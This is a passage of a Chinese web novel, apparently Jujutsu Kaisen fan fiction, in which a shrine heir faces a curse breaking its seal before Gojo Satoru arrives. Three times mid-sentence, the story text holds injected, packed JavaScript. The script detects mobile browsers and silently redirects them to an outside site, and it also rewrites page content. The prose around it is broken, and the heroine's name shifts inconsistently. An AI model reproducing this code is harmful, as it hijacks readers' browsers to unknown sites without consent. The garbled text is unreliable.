《三个五条你选谁？》 1. 第 1 章 春天的风拂过山林间时，总是带着些许潮湿与花香，吹在人的脸上，是带着微微湿润的清爽。 石阶上铺满了昨日落下的樱花瓣，从门口的红色鸟居一路延伸到星野神社的正殿前。因为昨天没有清扫，花瓣就堆积得有些厚了，踩上去没有声响，却有种透入心底的柔软。 星野纱绪里握着把和她差不多高的长扫帚，动作熟练地从台阶最上方开始向下方清扫花瓣。巫女服的袖口用襻膊好好地挽起，显得格外的干净利落。 等扫到那颗巨大的樱花树下的时候，纱绪里抬头看了它一眼。 头顶这颗樱花树，是她外婆说过‘陪着神社活过一百年’的老樱，长得格外的枝繁叶茂。现在正是花开最盛的时节，风一吹，枝头就簌簌掉下一层新雪似的花瓣。 真漂亮啊……幸好她们家神社比较偏僻，不然以上辈子的经验，只怕到了樱花开的时节，就是众众众众了，哪里还能这么悠闲的欣赏樱吹雪。 欣赏了片刻樱花之后，纱绪里又继续开始清扫花瓣的动作，等到她清扫完最后一段台阶时，她听到了外婆熟悉的声音，“樱花又落这么多了，今天也辛苦你了，纱绪里。” 纱绪里抬头看去，正好看到外婆端着一壶热茶和两个小瓷杯从屋子走了出来，正朝她笑得温和。 “不辛苦的，外婆。”纱绪里答得格外情真意切，毕竟自从知道这片神社，还有神社附近的山林和山下的田地，都是登记在她家名下，而她是唯一继承人之后，她就半点不觉得打扫神社有什么辛苦的了。 这里，可都是她未来的资产啊，她以后的幸福躺平人生，就靠这片山林和山下的田地了嘛。 她的人生理想很简单，毕业之后就在家当地主，继承神社，躺着等软饭女婿上门，要长得好看，要听话懂事，还要器大活好事少…… 她觉得问题不大，毕竟日本这边应该有不少人愿意当娇夫的。啊，当然，她其实也不是很挑剔，如果找不到娇夫，养养弟弟们也行啊。毕竟弟弟们也有个不想努力的梦想嘛，她既然有能力，很愿意给弟弟们一个家的！ “过来喝茶。”外婆在神社前方的石阶上坐了下来，拍拍身边的位置，“你出愿的大学决定了吗？” “早就决定好了。”纱绪里忙完了最后的工作，放下扫帚洗干净手，才到自家外婆身边坐下，接过外婆递过来的茶喝了口，“是东京的大学。” 她这辈子出生在这偏远的村里，还没长时间离开过这里，小学、中学都是在附近县里读的。 现在既然要读大学，当然是要去繁华点的地方了，大城市也有大城市的好处嘛。等大学毕业也差不多玩够了，她就回来继承神社，坐当地主。 至于哪所大学嘛，反正东京的大学多，三流的那种也多，以她的偏差值还是很有些选择余地，最多学费贵点，她不在意的。 这一次，她可以看着同学们辛苦找工作，自己等待回家继承祖产了。啊，如此躺平的人生，真是美滋滋。 外婆笑眯眯的听着纱绪里的话，她还是很知道自家孙女是什么德行的，也没有发表任何关于大学的看法，“要去东京啊，也不错，你还没去大城市住过，去东京读读书也好。” “我也觉得挺不错的，”纱绪里点了点头，“不过我去读大学的话要四年时间，外婆您一个人在家没问题吗？”其他的事她是无所谓，只是有点放心不下外婆，外婆年纪大了，她那有缘无分的爸妈又英年早逝，她也是会担心的。 “不用担心，外婆身体很好，纱绪里你就放心去读书吧。”外婆对着自家孙女笑得慈祥，“你长大了，也该走自己的路了，就算是你想要留在东京，外婆也可以接受的。” 纱绪里想了想村子里老年人的平均年龄和自家外婆身体的硬朗程度，也就放下心来，只不过对于外婆说的留在东京的问题嘛。 “我应该不会留在东京，我的打算是读完大学就回来继承神社。”她干嘛这么想不通好好的地主不当，非要去当社畜使劲卷呢？ 外婆不置可否，年轻人的想法变得太快，今天是这样，明天说不定就是那样了。而且自家孙女已经长大了，也有自己的想法了。 她转头看向神社门口那颗樱花树，将自家孙女读书的事一言带过，说起了其他的事，“今年的樱花，开得比往年更繁盛一些。” “可能是气候好吧。”纱绪里捧着茶杯随口答道，不过话虽然这么说，但她知道外婆接下来大概率会说些什么。 果然，放下手里的茶杯，外婆就开始说道，“这种异常的花开，或许是因为神社的封印松动了。距离上次加固封印的时间，也有几十年了。据说，上次封印松动的时候，这颗樱花也开得格外的繁茂。纱绪里啊，这颗樱花树可并不仅仅只是颗普通的老树……” 又进入玄学话题了，纱绪里喝了口茶，没有做声。外婆说的封印就在她家神社后殿上锁的小库房的门上，她小时当然也曾好奇过，毕竟她这辈子住在神社里，家里又有着什么奇怪的所谓封印。 谁上辈子小时候没看过整套的《犬夜叉》呢，那里面不就是神社、封印、结界、妖怪和五百年的白发大妖怪吗？ 于是趁外婆外出的时候，她也偷偷去扒拉过库房的门缝，想看看里面是不是有口通向异世界的井。结果什么都没有，里面根本就不是一口井，更别提什么穿越五百年的大妖怪了。 哎，看不到五百年前风华绝代的大妖怪真的很遗憾，不过为了自己的小命着想，大妖怪不看也罢，没有玄学的人生道路总要平坦一些。 外婆的话还在继续，絮絮叨叨的说着咒灵，说着封印，纱绪里的思维却逐渐发散开来，想着想着就兴奋起来，话几乎是脱口而出。 “外婆，既然我们家神社有这么古老的历史，不如我们再把这个咒灵的故事完善一下，最好能加点浪漫色彩，这样说不定能把我们家神社发展成一个景点。只要故事讲得好，总会有人买单，到时候来的人多了，我们就在山下建个旅馆提供一泊二食，吃饭就是所谓的山珍，大浴场修得好一点，应该会有人喜欢……” 然后她转过头，就看到了自家外婆扬起的手，“等等，外婆您冷静一下，放下您手里的茶壶，那是用来喝茶的不是砸我的头的。”迅速起身后退，“我这就去上学，这就去上学，外婆冷静啊别激动！我不说了还不行吗？” 纱绪里原本以为，和外婆的那次谈话不过就像以前的很多次一样，说完了这件事也就跟着过去了。 封印也好，咒灵也罢，她是完全没有放在心上的。想想也不可能真的有什么真的咒灵嘛，她上辈子受的是唯物主义教育，坚信这个世界是科学的！有时间的话，不如想象高中毕业的假期去哪里旅游，不比什么咒灵什么封印来得现实有趣得多吗？ 然而她也没想到的是，这下午从县里的高中回家之后，等她踏进神社就看见外婆没有在屋子里，而是坐在神社前的石阶上，手里还拿着一把像是刚从杂物间里翻出来的破剑。 纱绪里原本轻快的脚步就跟着顿了下，她不懂，但她有点震撼，所以外婆到底是要干什么，这把剑又是从哪里翻出来的破烂玩意儿？ “外婆？”纱绪里不解的走向自家外婆问道，“您怎么坐在这里？” 好在外婆的神色一如既往，她慈祥的笑着朝纱绪里招手，“纱绪里回来啦？过来这边，来看看这把剑。” 纱绪里放下书包，走过去蹲下，看了看外婆手里那把剑。那是把比纱绪里上辈子见过的中国的剑短了不少的日本剑，日本从古至今都流行的是刀，各种各样的刀，反而剑比较少见。如果不是之前去城里看刀剑展览的时候看到过类似的剑，纱绪里大概都认不出来这是什么。 然而虽然是少见的剑，却并没有因此精致华美，反而看起来锈迹斑斑，剑鞘甚至还有些裂口，握柄用的是已经褪色的绳子缠绕，还落了不少灰。看上去就像人工做旧的假文物，网上可以两千日元（折合人民币96块）买一把的那种。 “好破的剑啊，”纱绪里有些嫌弃的看完整把剑，也没看出所以然来，“您从哪里翻出来的？” “这是我们家的传家之物。”外婆说得很认真，“据说从奈良时代传下来的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480608|185623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑，你看这剑鞘，做得多精美。” “真的是从奈良时代传下来的而不是后人的仿制品吗？”沙耶忍不住吐槽，她实在没从这把剑上看出有任何的不同寻常之处，反而破破烂烂的看起来就不值钱。 “当然是真的传家宝。”外婆伸手轻轻摸了摸剑鞘，“这是星野家代代相传的神剑，可以祓除咒灵的剑。” “那我平时怎么从来没有见过它，也没听您提起过？”沙耶怎么听都觉得不太靠谱。 “……”外婆眼神难得跟着飘忽了下，“……放在杂物间比较里面的地方，忘记了……”毕竟封印也平安无事这么这么多年了嘛，谁会有事无事去翻这把剑呢。 “……”不愧是‘传家宝’啊，纱野在心底加了重音，“好吧，那您怎么又想起把这把剑翻出来了？” “你听我说。”外婆语气忽然变得正经，“我今天查看了后面库房的封印，果然是有松动的迹象，但我没有重新加固封印的能力，只能去西边的山神社，借他们供奉的‘镜子’来加强封印，他们那里路不好走，这一来一回需要三天的时间。” “封印松动？”纱绪里挠了挠头，“是那几张纸松开了吗？不能拿胶水粘回去吗？还是要用镜子来举行什么仪式后才能粘回去？”有需要这么复杂吗？ 外婆没有理会纱绪里的话，反而沉声叮嘱道，“纱绪里，外婆离开的这几天，神社就交给你照管了。” 纱绪里立刻就自行理解了外婆话里的意思，“我知道了，正好是周末我有空，我会好好打扫神社的，也会好好接待来参拜的客人。”没错，她们神社也是要对外营业的，赚多赚少也是补贴嘛。 外婆摇了摇头，“不是这个意思，我是指如果……”她皱眉顿了顿，还是把话接了出去，“如果封印真的出现意外，”虽然可能性很小，“你就用这把剑来对付里面的咒灵。” 纱绪里差一点就下意识点头同意了，“……嗯？什么？”她怔了下反应过来，表情变得复杂，“等一下，外婆您再说一遍？”外婆叫她用这把剑干嘛？ 外婆把那把老剑递过来，脸上丝毫没有开玩笑的意思，“这剑上刻着咒式，是当年对付咒灵时用的，只对咒灵有用，对人没用，你不用担心伤到人。” “不是，外婆，我从小到大拿过最像武器的东西就是那把大扫帚啊。”纱绪里扶额，“你现在跟我说出事就用剑来对付咒灵，你真的觉得我能用这把剑干什么。”还担心伤人，只怕是伤她自己吧。 “你小时候还拿锅铲追过狸猫呢。”外婆轻描淡写地说。 “……那是狸猫偷我点心！”纱绪里觉得自己大概是知道了自己偶尔爱吐槽的真相，所谓遗传嘛，“不不，这不重要，重要的是你让我用剑砍咒灵？”她都没敢伸手接，“外婆，我觉得说不定菜刀还更有用。”她是认真的，菜刀真的看起来锋利多了。 “不要胡说，”外婆断然否决，“这是神剑，菜刀是厨房用品，只有用这个才能对付咒灵。当年咒灵出现的时候，就是用这把剑伤了咒灵，然后我们家的祖先，才能将咒灵封印在这里，并在这里建造了这个神社守护咒灵的封印。” 纱绪里状似认真的想了想，“外婆，我觉得我们可以换个新思路。”毕竟都是二十一世纪了嘛，“咒灵也不一定就非得砍啊，”她一本正经的道，“如果它真的出现的话，不如留下来给我们种田怎么样？雇个咒灵打工，一年产值直接翻倍，我们还能免雇人税。” 她说着越发觉得自己有道理起来，“再扩宽一下思路，咒灵养成计划，说不定还能拍综艺，出周边，发展咒灵旅游产业……” 然后又再次看到外婆的手扬了起来，于是再次识时务者为俊杰，“外婆，您冷静一下，我只是提个建议，并不是真的要这么做，”这世上哪里可能有咒灵嘛，“放下那把剑。您刚才说过，那是我们家的传家宝，奈良时代传下来的可以砍咒灵的神剑，不是用来打我的头的。” 说着抱着头就跑，“冷静一点，冷静一点，我不胡说八道了，我会好好看着神社还有个什么破掉的封印的，我保证还不行吗？” 2. 第 2 章 将所谓的神剑给纱绪里之后，第二天大清早外婆就离开了神社，送走外婆之后，纱绪里立刻躺回去睡了个回笼觉，要到中午了才懒洋洋地爬来打扫神社，给自己做饭吃。 虽然她是打算要好好招待来往的客人，但她们家神社偏僻，很少有人来，这一整天也都没见一个人。当然她也不在意，反正她们家也不靠经营神社吃饭，她们的收入主要还是靠山下的那大片的土地嘛。嗯，神社……只能算副业。 这一天神社都安安静静，晚上吃完晚饭又玩了会儿手机后，纱绪里按照外婆的叮嘱，拿起家里的手电筒，在睡觉之前最后巡视一圈神社。 这是从小外婆就带着她一起完成的每日任务，外婆是星野神社的巫女，她说，神社是与‘外’之物交界的地方，一日之中最容易出问题的不是午夜，而是人心松懈的时刻，所以睡觉之前一定要查看神社的安全。 虽然对外婆话里的慎重不以为意，但这么多年下来纱绪里也习惯了，就当成每日睡前的安全检查好了，检查之后再好好睡觉也会更加安心嘛，更何况她之前还答应了外婆要好好照看。 手电筒的灯光下，纱绪里的脚步声打破神社的安静，小神殿没有什么问题，转到仓库那边，仓库的门依旧紧闭，咒符虽然确实如外婆说的那样翻起了些，但看上去毫无异常，应该就是年代久远胶水脱落了而已。 现在看来这个世界还是很唯物的嘛，也不像什么封印不稳咒灵要出来的样子，纱绪里在心底摇了摇头，觉得外婆当巫女当太久了，都把那些古旧的传说当真了。 不过算了，外婆当真就当真吧，她高兴就好，反正只是三天的时间，眼一闭一睁就过去了，等她老人家回来重新贴下封印的纸，也就应该安心了。 纱绪里这么想着，在打了个哈欠后又转到神社的鸟居下，旁边的樱花树花瓣还在飘落，石灯也还在原处，什么都没有改变，一切和平时一模一样，没有半分异常之处。她安心地回到房里，喝了几口水，把那把祖传破剑立在床边的墙角，然后换上睡衣、钻进被窝。 放松闭上眼睛进入梦乡之前，纱绪里还在想着咒灵什么的怎么可能嘛，这么多年，她可是从未看到过这种灵异的东西，至于她带着前世的记忆，或许只是某种巧合…… 第二天仍旧无事发生，到了傍晚的时候，夜色落得慢，月亮却升得快。山风从西边吹来，带着湿意。 纱绪里还是按照惯例，睡前披上外套出门巡视神社。村子早早熄灯，山鸟归林，神社静得出奇。她像往常一样走到鸟居前，正准备例行查看的时候，忽然察觉脚边有什么不对劲。 有些奇怪的低头，纱绪里发现地上的樱花瓣竟带着一层淡红色的晕染。她怔了一下，无意识抬头看向空中，随即蓦地瞪大了眼睛。月色下，空中飘落的樱花瓣，全都被染成了晦涩不明的红色。 而且，不只是花瓣变成了诡异的色泽，那棵老樱树也在不知何时整棵树都变成了血红色。它的枝干如同扭曲的血脉，花朵盛放得诡异至极，花瓣在空中像流动的血滴一样坠落。 几乎是想也不想的，纱绪里顺手去就摸衣兜里的手机，打算拍下这不同寻常的景象，手机病重度患者，谁没有这样的下意识反应呢。 然而在摸了个空之后，她突然反应过来眼前极度诡异的一幕到底可能有什么含义。整个人却像被一桶冰水兜头泼下，她猛地后退一步，一阵风吹过，她几乎听见了枝条间低语般的咒声，还有……自己的三观像玻璃一样碎了一地的声音。 好在身体比思维先反应，在终于意识到什么之后，纱绪里迅速转身跑回房间，抱起那把祖传破剑，甚至没来得及换鞋，就踉跄着冲出屋子，脚步慌乱，气息不稳，心脏像擂鼓一样猛跳。 “开什么玩笑……”纱绪里几乎要喊出声来，“这不是真的，这不可能是真的！”她仓皇地站在神社空地上，环顾四周，然而这里除了她之外，空无一人。 下一秒，“咚”的一声巨响撕破夜空，仓库的屋顶炸裂开来，无数木屑和纸符在空中翻飞，一股不属于人类的气息从地底冲天而起，连空气都震出回音。 一只巨大的咒灵伴着血色花瓣，从封印中挣脱，直冲夜空。它有三只眼挤在一起的眼睛，六条手臂似的黑色肢体，身躯像是用死人的怨恨缝合起来的影子。它在半空发出一声尖啸，声波震得纱绪里当场腿软，跌坐在地。 那是她从未经历过的恐惧，不是恐怖片的惊悚感，而是那种无法抵抗的原始惧意，像是面对一场天灾，一场活着的恶意。 纱绪里紧紧抱着手里的剑，手臂都在发抖，但她不能就这么坐在这里，她必须跑，必须立刻跑离这里，否则她会死的，一定会死的！ 强烈的恐惧驱赶着纱绪里逃离的举动，她踉跄着从地上站起来，咬紧牙关转身就跑，一边跑一边还听得见咒灵在她身后发出的怪异低鸣。 月光下，她的影子奔跑在石阶上，一步一滑，几乎要滚下去，然而她仍旧不管不顾的拼命向前奔跑。冷汗从额前从背后滴落下来，她不敢回头，只抱着剑拼尽全力向着山下跑去。 然而跑着跑着，逐渐恢复的神志却开始警告纱绪里，没有任何目的的乱跑绝对不是最佳解决方案，她跑得再快又怎么跑得过这些非人的东西。她咬了咬牙，略微放缓了脚步回头看了一眼，就看到夜空中那只正在盘旋的咒灵，那棵如血流般的樱花树，还有那座在月色中熟悉至极的神社。 嗯？那只所谓的咒灵，竟然没有追来？而是还是神社之中？ 纱绪里的脚步略微停顿了下，她咽了口口水，抬手擦了擦额角的冷汗，然后深吸一口气，把剑从怀里调整了下角度，抱得更稳当些，“光跑是不行的，我得想想办法，我能想到的，我一定能想到的……不要慌，深呼吸，深呼吸……咒灵还没有追上来，一定有什么我忘记了的……外婆还说过什么，哪怕是只言片语……” 几经徘徊之后，纱绪里闪身躲到坡道口的一棵大树后。她胸口起伏剧烈，耳边是自己急促的心跳声，还有远处神社里那令人毛骨悚然的，咒灵发出的低鸣声。她的指尖发冷，后背一片湿热，脑海却再急速的运转着。 外婆之前说过什么来着，关于咒灵的，那些她重复过很多次，希望她记住的话……在纱绪里拼命回想中，外婆的那些话清晰起来。 纱绪里，普通人是看不到咒灵的，所以咒灵对于普通人来说才更加危险，不但因为看不到的危险最是危险，还因为看不到的危险更能增加恐惧，而恐惧能成为咒灵的养分。 纱绪里皱起眉头，如果普通人是看不到咒灵的话，那她更不能就这么冲到村子里去求助了，其他人大概只会以为她神经突然出现了问题？而等危险真的来临，更就来不及了。这一村子的人，只怕都不够这么大的咒灵杀的。 “可恶！”纱绪里咬了咬牙，低声骂了一句，“我明明只是个快毕业的高中生啊。”她这种上辈子加这辈子都是普通人的普通人，从来没想过自己真的能当超人拯救世界啊！ 纱绪里使劲拽了掐了把自己的手臂，强迫自己冷静下来，不管怎么说，她不能就这么把咒灵和神社都丢在这里不管，万一有人来参拜怎么办？但是她就算不离开又能干点什么呢？她从小到大连只鸡都没杀过，更别说去斩杀咒灵什么的了。 哪怕她现在有外婆留下的一把“据说很厉害”的剑，既然咒灵都是真的，那这把破剑……不对，神剑绝大几率也是真的，用这把神剑很有可能可以杀死咒灵。 可有神剑不会用又能做什么？唯一的作用大概就只是增加心理安慰？还不如再想想外婆还说过什么，有些话或许有用。 对了，外婆还说过，封印的力量是逐渐消失的，也或许……咒灵到现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480609|185623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在还没追上来，是因为封印的力量还没有完全消失？咒灵还不能离开他们家神社？ 纱绪里猛地抬头看了过去，清亮的月光下，咒灵巨大的声音仍旧隐约能够看到，它仍旧盘旋在原地，就像在努力挣脱什么，却一直无法完全挣脱开。 又仔细观察了片刻之后，纱绪里终于咬紧了牙，重新从树后出来，向着神社的方向慢慢挪了过去。她的脚步一开始是拖着的，每一步都像踩在针上，但她还是慢慢开始靠近神社。 她不能慌，更不能乱，她要确定咒灵是否像她想的那样暂时还不能离开，她必须观察、确认，然后再决定下一步。如果咒灵真的暂时无法离开的话，那她要做得就是拿着这把剑，好好的守在这里，等到外婆回来。 外婆说过，她是去借什么‘镜子’，而那面镜子能够加固封印，她说她会尽快回来的。那等外婆回来之后，她们或许可以借着镜子的力量，重新将咒灵封印回去？而且不管怎么说，外婆总比她有办法啊！ 纱绪里终于蹭回了神社不远处，她小心翼翼地从一棵大树后跑到另一颗大树后，时不时抬头快速的扫一眼神社里面的动静。 在危急关头，纱绪里小时候的记忆几乎全部重新回炉，她还记得外婆曾经说过咒灵对人类的视线很敏感，所以根本不敢多看。 夜风吹过，染血的樱花瓣飘了很远，有一瓣甚至悄然飘落在纱绪里肩头，像一片静静滴落的红墨。她用袖口拂去花瓣，屏住呼吸慢慢贴近最近那颗树的树干，然后在树后蹲下身，急速左右张望了下，也没管自己鬼鬼祟祟的像个正在干活的贼。像贼就像贼嘛，只要不被咒灵发现就好。 纱绪里拍了拍胸口，安抚了下自己那快要炸裂的神经，然后小心地探出一点头，从树干后望向神社仓库的方向。只一眼，她就急匆匆的又靠回树后。 果然，那咒灵看起来像是一半身体在空中张牙舞爪，另一边还在……土里？所以她的猜测是正确的，封印咒灵的东西还没有完全失去效用，它暂时离开不了。 纱绪里咬了咬唇，脑子开始飞快运转。如果咒灵没有立刻暴走、离开、攻击……那就还有机会，还有机会等到外婆回来！ 她深吸一口气，重新换了个姿势，抱着剑紧紧靠着大树蹲下，那她现在要做得就只有等，等待外婆回来，或者……等待那个咒灵冲破封印。 那如果咒灵真的冲破封印离开神社的范围，她要怎么办？冲上去和这个大概有好几个她那么高的咒灵肉搏吗？ 纱绪里稍微想象了下这场的场景之后，就有种喘不过气来的感觉。这个，实话实说，她体育考试可从来没有得过满分，上一次打架还是上辈子上幼儿园时的事了，要肉搏什么的……估计不能吧？ 就算为了完成外婆的嘱托，她不顾性命的跳出去和咒灵肉搏，大概也只是送菜的命，而且送得毫无意义。其实真要说起来，死就死吧，但至少也要死得有意义一点吧，哪怕是能拖住咒灵，或者想好一点，和咒灵同归于尽呢，也不枉费死这一次啊。但都做不到的话，那还是别死了。 那就这么等着听天由命？纱绪里狠狠地皱起眉头来，如果不想这么被动的话，或许还有条路，趁着咒灵现在还不能完全动，干脆雄起一次，扑上去给它几剑？ 有句话不是说得好，趁它病，要它命，现在不正是好时机？ 纱绪里这么想着的时候突然觉得自己好像英雄了起来，就像个鼓足了气的气球，觉得自己满满当当的。她壮着胆子，飞速的探身看了眼咒灵，然后立刻躲回大树后擦了擦额头的冷汗，不然，她还是等外婆回来吧。 虽然咒灵看起来好像是还不能完全行动，但它露出地面的也有好几只‘手’啊，那些手看起来掐死她是完全没有任何问题的，哪怕她运气爆棚砍掉其中一只，它还有更多只呢……所以她真的真的超级讨厌蜈蚣啊！！ 3. 第 3 章 傍晚的夕阳将不远处的山村染上了温柔的霞光，连山林中的神社也在这样的逢魔时刻显得更加神秘起来。 山路渐陡，风拂动树梢，五条悟一只手插着裤兜，晃晃悠悠地沿着神道往上走，他走得不快也不急，像是来郊游顺路处理点小小的麻烦。 黑色咒术高专制服穿在他身上显得格外笔挺，倒竖起的白发在晚风里轻轻浮动，白色的绷带蒙住了眼睛，只露出鼻梁以下形状优美的唇线和似是懒洋洋的微笑。 春色渐深，山脚的樱花谢了大半，山上的那株老樱却仍开得旺盛，好像在瞬间就要漫天漫地的开出最绚烂的时节。那实在是颗很漂亮的樱花树，远远地看去五条悟也被吸引了视线。然而就在他抬头看向樱花的时候，他就像是察觉到什么似的脚步顿了顿。 下一刻，有个人影忽然从林边蹿出来，她像后面有什么东西在追似的跑得很快，几步便挡在了石阶前，拦住了五条悟的去路，“神社已经关闭，今日谢绝参观，请立刻下山。” 五条悟微微挑眉看了过去，那是个十八九岁模样的女孩，穿着睡衣裤、外套搭在肩膀上，头发乱糟糟的，怀里紧紧抱着一把锈迹斑斑的旧剑。她一边说着话还一边缩着肩膀不住的左右张望着，怎么看都是副偷感很重的样子。 白发的术师看出了些什么，他几不可见的勾了勾唇角，再开口的语气还带着两分轻快，“哎？谢绝参观？下面的村民可不是这么说的，他们说这里的神社一直都开着的。” 抱着旧剑的女孩，也就是纱绪里闻言几乎是下意识开始编话，“那是他们还没得到消息，神社从昨天开始整修，里面已经很乱了，所以谢绝入内。抱歉，请你今天先下山好吗？等神社整修完之后再来参观。” 用绷带蒙着眼睛的奇怪男人，如果是平时，纱绪里大概也会多看几眼然后忍不住吐槽什么的，但现在她只想人赶紧离开。虽然经过她一天一夜的观察发现咒灵也不是时时刻刻都会出现的，但万一出现了呢……更别提如果咒灵挣脱封印了，事关人命，她可不敢有丝毫大意，只能尽快将人赶下山。 虽然纱绪里已经这么说了，但来人却并没有礼貌的道谢后离开，反而饶有兴致的看着她，就好像她比神社更引人注目似的，“这是你家的神社？你叫什么名字？” 救命，哪里来的莫名其妙的人啊，感觉怎么越来越奇怪，像个变态似的？觉得前有狼后有虎的纱绪里警惕的瞪着对方，抱紧了手里的剑，“这里是私人土地，请立刻离开，不然……不然我就要报警了，我们村里可是有警署的。” “哎呀，好凶好凶，”五条悟摸了摸头发，看起来尤其的随意，“不过比起担心我，你不应该更要担心你背后神社里的那东西。” 虽然并没有解下绷带，但他仍旧能通过咒力的流动‘看得’清清楚楚，神社里的咒灵蠢蠢欲动，却引而不发，像是被某种老旧又顽强的术式压制着，但这样的封印……封不久了。 原本只是顺便来这个偏僻的村子顺手做个任务，但他也没想到，竟然能在这个小神社门口‘捡到’个有天分的女孩，比起神社里那弱小的咒灵，他当然还是对眼前的女孩更有兴趣。 纱绪里眼睛蓦地瞪大，这个蒙着眼睛的怪人在说什么，他说神社里的东西？他是知道了什么还是能看到什么？明明咒灵还没有出现啊！ “你知道些什么？”纱绪里再次紧了紧怀里抱着的神剑，“你又是什么人？”她现在开始觉得，眼前这个怪人不简单了。 然而纱绪里还没等到面前的白发怪人说什么，又一阵风过，樱花树蓦地飘起樱花雨，而之前明明还是白色的樱花瓣，却像是逐渐染上了血的颜色。 纱绪里想也不想地回头，就在那一瞬间，神社仓库的位置传来一阵低低的难听嘶吼声。纱绪里听得整个人都炸了一圈，她知道是咒灵又要出现试图挣脱封印了。真是屋漏偏逢连夜雨，怪人还没赶走，咒灵又来凑热闹了。 几乎是随着咒灵的动作，男人的话音也接着响了起来，“里面的东西，很快就要出来了哦。”他的话听起来像是提醒又显得太过于漫不经心，“你还不跑吗？”他当然看得出来，眼前的女孩很怕神社里的东西，但她却没有立刻逃跑，而是站在这里拦着其他人进去，真的很有意思。 纱绪里回过头来，忍不住朝天翻了个大大的白眼，“难怪是我不想跑吗？” “嗯？”五条悟歪了歪头看人，他头顶的白毛也跟着歪了歪，似是有些不解。 他不解，纱绪里比他更莫名其妙，“我姑且算是个有着正常道德感的正常人，自家养的猪随时都有可能要拱邻居的菜地了，总不能就这么完全撒手不管吧？” 这人问的什么怪话？她难道看起来很像什么很极端的反社会分子吗？再怎么说这也是她生活了十几年的村子啊，村子里的人哪怕不熟悉都认识的，更别提还有不少关系不错的了。 “哈哈哈哈，”五条悟还是第一次听到这么有趣的形容，简直笑得前俯后仰，“你说那里面是猪？还会拱菜地？” “我知道那里面不是猪，也知道里面是什么，”纱绪里的语气重新稳定了下来，在经过一天一夜之后，她之前再慌现在也习惯了不少，“看起来你也知道呢。” 纱绪里的敏锐让五条悟微微弯了弯嘴角，他随意挥了挥手，就好像挥掉某种灰尘似的，“不是什么厉害东西，很弱的嘛。” 什么很弱的？他是不是根本不知道神社里面是多可怕的咒灵只是随口胡说八道的？纱绪里瞪大眼睛不敢置信的看着白发的怪人，也不知道是不是觉得她的表情很有趣，对面的人就此笑了起来，似乎还笑得有点开心。 “不过就算是很弱的东西对你来说也不容易吧，它就要出来了，”五条悟的语气轻松极了，“等它完全出来之后，就真的跑不掉了哦。”不是经常接触咒灵的人，见到咒灵是会恐惧的，就算有天赋，无法战胜这种恐惧，也无法成为咒术师。眼前这个女孩子，又是哪种呢？ 纱绪里背后已经布满了冷汗，还是忍不住转过头瞪了眼看起来很不着调的白发怪人，“你既然说是很弱的东西，有本事你去砍它啊！” 就在纱绪里话音刚落的时候，已经残破的仓库方向传来一声撕裂般的响动。紧接着，是一阵无法忽视的低沉咆哮，像是什么东西被捏住了脖子，扭曲地挣扎着发出愤怒的喘息。 五条悟手搭凉棚很有闲心的望了一眼，“哦，封印被冲开了啊，看来比想象中要厉害那么一点呢。” 纱绪里猛地抬头看向咒灵，就在夕阳将要落山的余辉中，咒灵已经完全脱离了封印，几条如同影子般的黑色肢体扭曲着探了出来，卷着空气中的灰尘，带着压迫感一寸寸爬上其他屋子屋瓦，爪痕抓得屋檐嘎吱作响。 那不是风，那是咒灵想要杀人或者吃人的动静。纱绪里不知道这只咒灵属于哪种，她只知道，如果一旦引咒灵注意，它可能就会冲着任何靠近的“活物”而去。而她面前那个穿着黑色制服、白发被晚风轻轻吹动的怪人，还站在那里，微微仰头，脸上的神色像是在看热闹。 “不过也厉害得不多，”他说话的语气，就像在评价某种没煮熟的晚饭般轻巧，“你努力下，说不定能祓除它呢。” 纱绪里愣了下，随即反应过来，他说的是祓除咒灵，这个词她只从外婆的口中听过，而且他看到这么丑陋这么吓人的咒灵还这么镇定，是不是说明他其实……游刃有余？ “你能对付它？”纱绪里升起了某种希望，这个白发的怪人来得太过于巧合了，万一他真的是因为这个咒灵过来的呢。虽然她现在根本想不到他到底是怎么知道这个咒灵出现的，毕竟它已经被平稳的封印了这么些，但说不定有什么她不知道的渠道呢。 “这可是你家神社哦，”五条悟看起来半分出手的意思都没有，他甚至将双手都揣进了裤兜了，“你刚才不是说过，这里禁止入内。” “我不是这个意思啊。”纱绪里明显的慌了起来，在她看来现在的白发怪人就像根救命稻草，不管抓不抓得住都要放手抓一把，“如果你是来对付咒灵的，当然是请进啊！”她连忙让出路来。 五条悟见状笑了笑，从容的迈开长腿，“诶~既然是这样，那就进去看看吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480610|185623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>纱绪里反应过来，“等等，你就这么进去吗？”就算是能够对付这只咒灵，难道不应该先拿个什么武器？就算没有武器，至少也做好战斗的准备吧，这家伙就这么看起来像春游似的进去，那边可是咒灵，是咒灵啊！ 